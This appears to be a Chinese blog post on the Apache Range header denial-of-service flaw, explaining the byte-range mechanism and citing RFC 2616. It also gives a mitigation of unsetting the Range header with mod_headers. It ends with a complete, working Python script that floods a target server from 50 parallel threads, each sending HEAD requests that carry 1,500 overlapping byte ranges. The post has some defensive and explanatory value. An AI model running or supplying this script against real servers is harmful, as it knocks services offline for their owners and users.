`
yajie
  • 浏览: 210766 次
  • 性别: Icon_minigender_1
  • 来自: 北京
文章分类
社区版块
存档分类
最新评论

Apache Range Header DOS攻击

阅读更多

Apache Range Header DOS攻击

背景
http://lwn.net/Articles/456268/


Http协议之Byte Range
http://www.ietf.org/rfc/rfc2616.txt  (14.35章节)

14.35   Range ....................................................138
   14.35.1    Byte Ranges ...........................................138
   14.35.2    Range Retrieval Requests ..............................139

Apache演示

1. 新建内容为abcdefghijk的txt页面
2. 不带Byte Range Header的请求,请看:


3.带Byte Range Header的请求,请看:



理论上,一旦带上N个Range分片,Apache单次请求压力就是之前的N倍(实际少于N),需要做大量的运算和字符串处理。故构建无穷的分片,单机DOS攻击,就能搞垮Apache Server。

解决方案 1. 等待Apache修复,不过Byte Range是规范要求的,不能算是真正意义上的BUG,不知道会如何修复这个问题 2. 对于不是下载站点来说,建议禁用Byte Range,具体做法: 2.1 安装mod_headers模块 2.2 配置文件加上: RequestHeader unset Range
最后附上一个攻击脚本,做演示
 1  #  encoding:utf8  2  # !/usr/bin/env python  3  import  socket  4  import  threading  5  import  sys  6    7  headers  =   '''  8  HEAD / HTTP/1.1  9  Host: %s 10  Range: bytes=%s 11  Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 12   13  ''' 14   15  # fragment count and loop count 16  COUNT  =   1500 17  # concurrent count 18  PARALLEL  =   50 19  PORT  =   80 20   21  def  req(server): 22       try : 23          s  =  socket.socket(socket.AF_INET, socket.SOCK_STREAM) 24          s.connect((server, PORT)) 25          s.send(headers  %  (server, fragment(COUNT))) 26          s.close() 27       except : 28           print   ' Server Seems Weak. Please Stop. ' 29   30  def  fragment(n): 31      ret  =   '' 32       for  i  in  xrange(n): 33           if  i  ==  0: 34              ret  =  ret  +   ' 0- '   +  str(i  +   1 ) 35           else : 36              ret  =  ret  +   ' ,0- '   +  str(i  +   1 ) 37       return  ret 38   39  def  run(server): 40       for  _  in  xrange(COUNT): 41          req(server) 42   43  if  len(sys.argv)  !=   2 : 44       print   ' killer.py $server ' 45      sys.exit(0) 46   47  # run 48  srv  =  sys.argv[ 1 ] 49  for  _  in  xrange(PARALLEL): 50      threading.Thread(target = run, args = (srv,)).start() 51

0
3
分享到:
评论

相关推荐

    nginx-1.9.12 windos 版本

    nginx-1.9.12 windos 版本 nginx 反向代理 负载均衡

    windows apache 集群的dos命令

    本文将深入解析“Windows下Apache集群的DOS命令”这一主题,从给定的文件信息出发,详细阐述相关的关键知识点。 ### Apache集群与DOS命令 在Windows环境下搭建Apache集群,通常涉及到多个Apache实例或Apache与...

    Apache防攻击模块代码

    例如,它可以限制同一IP地址在短时间内发送过多请求,防止DoS攻击;或者检查请求中的特殊字符,防止SQL注入。 在Linux环境下,Apache防攻击模块通常是作为Apache服务器的一部分,以模块的形式加载到服务器进程中。...

    org.apache.http源代码和jar包

    import org.apache.http.Header; import org.apache.http.HttpException; import org.apache.http.HttpRequest; import org.apache.http.HttpRequestInterceptor; import org.apache.http.HttpResponse; import org....

    org.apache.http jar包

    import org.apache.http.Header; import org.apache.http.HttpException; import org.apache.http.HttpRequest; import org.apache.http.HttpRequestInterceptor; import org.apache.http.HttpResponse;...

    org.apache.http 相关的jar包

    import org.apache.http.Header; import org.apache.http.HttpException; import org.apache.http.HttpRequest; import org.apache.http.HttpRequestInterceptor; import org.apache.http.HttpResponse; import...

    PHP、Apache环境中部署xsslabs(XSS跨站脚本攻击靶场)

    PHP、Apache环境中部署xsslabs(XSS跨站脚本攻击靶场) PHP与Apache环境中部署xsslabs(XSS跨站脚本攻击靶场)是开发者和安全测试人员进行XSS攻击练习的重要环境。xsslabs是一款开源的XSS 漏洞靶场工具,由PHP代码...

    linux操作系统-Apache服务器配置

    linux操作系统 Apache 服务器 配置

    import org.apache.http

    import org.apache.http.Header; import org.apache.http.HttpException; import org.apache.http.HttpRequest; import org.apache.http.HttpRequestInterceptor; import org.apache.http.HttpResponse; import...

    php获取不到自定义header参数原因详解

    例如,如果我们自定义了一个Header名为`Custom-Name`,并且在反向代理服务器(如Nginx或Apache)中设置如下: ```bash proxy_set_header Custom-Name "xxxxx"; ``` 在PHP代码中,我们应当通过以下方式来获取这个...

    the programmer's guide to apache thrift

    With support for over 15 programming languages, Apache Thrift can play an important role in a range of distributed application development environments. As a serialization platform Apache Thrift ...

    org.apache.http.jar

    标题中的"org.apache.http.jar"是一个Java库,属于Apache HttpClient项目的一部分。Apache HttpClient是一个流行的开源Java库,专门用于实现客户端HTTP通信。它提供了强大的功能,包括支持HTTP/1.1协议、连接管理、...

    慢攻击防御 apache wamp

    【标题】:“慢攻击防御 apache wamp”涉及的是在WAMP服务器环境中,针对慢速攻击和DDoS(分布式拒绝服务)攻击的一种防护措施。WAMP是Windows、Apache、MySQL和PHP集成开发环境的简称,常用于搭建本地Web开发环境。...

    怎样保护Linux系统下的Apache网站 (2)

    在Linux系统下,Apache服务器是广泛使用的Web服务器,保护网站免受非法访问是运维工作中的重要环节。本文主要探讨如何通过身份验证和错误文件配置来增强Apache网站的安全性。 首先,我们可以采用身份认证来防止未经...

    org.apache.http.httpentity jar包-系列jar包

    import org.apache.http.Header; import org.apache.http.HttpException; import org.apache.http.HttpRequest; import org.apache.http.HttpRequestInterceptor; import org.apache.http.HttpResponse; import...

    org.apache.http 依赖包

    Apache HTTP 客户端库是Java开发者常用的工具之一,它为执行HTTP协议提供了丰富的功能,包括GET、POST、PUT等多种HTTP方法。这个库的核心部分就是`org.apache.http`包,它包含了处理HTTP请求和响应的各种类和接口。...

    Apache httpd-2.2.34-win64.zip

    6. **安全特性**:内置了防止DoS攻击、SQL注入等的安全模块,可以通过SSL/TLS加密保护用户数据。 7. **与其他技术集成**:与PHP、Perl、Python等脚本语言紧密集成,便于开发动态网站;与MySQL数据库配合,常用于...

    org.apache.commons.lang jar包下载

    org.apache.commons.lang.NumberRange.class org.apache.commons.lang.NumberUtils.class org.apache.commons.lang.ObjectUtils$Null.class org.apache.commons.lang.ObjectUtils.class org.apache.commons.lang...

Global site tag (gtag.js) - Google Analytics